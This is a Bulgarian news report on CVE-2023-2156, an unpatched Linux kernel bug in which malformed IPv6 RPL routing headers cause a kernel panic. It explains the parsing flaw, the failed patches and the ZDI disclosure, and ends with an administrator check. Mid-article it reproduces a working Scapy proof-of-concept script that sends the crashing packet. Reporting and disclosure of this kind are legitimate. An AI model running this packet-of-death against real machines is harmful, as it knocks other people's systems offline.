Разкрити са данни за нерешената (0-day) уязвимост (CVE-2023-2156) в ядрото на Linux, която позволява да спре работата на системата чрез изпращане на специално форматирани IPv6 пакети (packet-of-death). Проблемът се проявява само при активирана поддръжка на протокола RPL (Routing Protocol for Low-Power and Lossy Networks), който по подразбиране в дистрибуциите е изключен и се използва главно в вградени устройства, работещи в безжични мрежи с големи загуби на пакети.
Уязвимостта е причинена от неправилна обработка на външни данни в кода на парсера за протокола RPL, което води до задействане на assert-грешка и преминаване на ядрото в състояние panic. При разполагане в структурата k_buff (Socket Buffer) на данни, получени в резултат на разбора на заглавката на IPv6 RPL пакет, ако полето CmprI е зададено на 15, поле Segleft на 1, а CmprE на 0, 48-байтовият вектор с адреси се разопакова до 528 байта и възниква ситуация, в която разпределеното за буфера памет е недостатъчно. В този случай, в функцията skb_push, използвана за вмъкване на данни в структурата, се активира проверка за несъответствие между размера на данните и буфера, която генерира състояние panic, за да предотврати запис извън границите на буфера.
Пример за експлойт: # Ще използваме Scapy за създаване на пакета from scapy.all import * import socket # Използвайте IPv6 от вашия LAN интерфейс DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Използваме сокети за изпращане на пакета sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Създаване на пакета # Type = 3 го прави RPL пакет # Addresses съдържа 3 адреса, но тъй като CmprI е 15, # всеки октет от първите два адреса се третира като компресиран адрес # Segleft = 1 за задействане на усилването # lastentry = 0xf0 задава CmprI на 15 и CmprE на 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Изпратете този злонамерен пакет sockfd.sendto(bytes(p), (DST_ADDR, 0))
Забележително е, че разработчиците на ядрото са уведомени за уязвимостта още през януари 2022 г. и през последните 15 месеца три пъти са се опитвали да разрешат проблема, издавайки пачове през септември 2022 г., октомври 2022 г. и април 2023 г., но всеки път поправките са били недостатъчни и уязвимостта е била възможно да се воспроизведе. В крайна сметка проектът ZDI, който координираше работата по разрешаване на уязвимостта, взе решение да разкрие детайлна информация за уязвимостта, без да чака появата на работещо решение в ядрото.
Следователно, уязвимостта все още не е коригирана. Включително патчът, който е включен в ядрото 6.4-rc2, не е ефективен. Потребителите се препоръчва да проверят дали протоколът RPL не се използва в техните системи, което може да се направи с командата sysctl -a | grep -i rpl_seg_enabled
Източник: opennet.ru
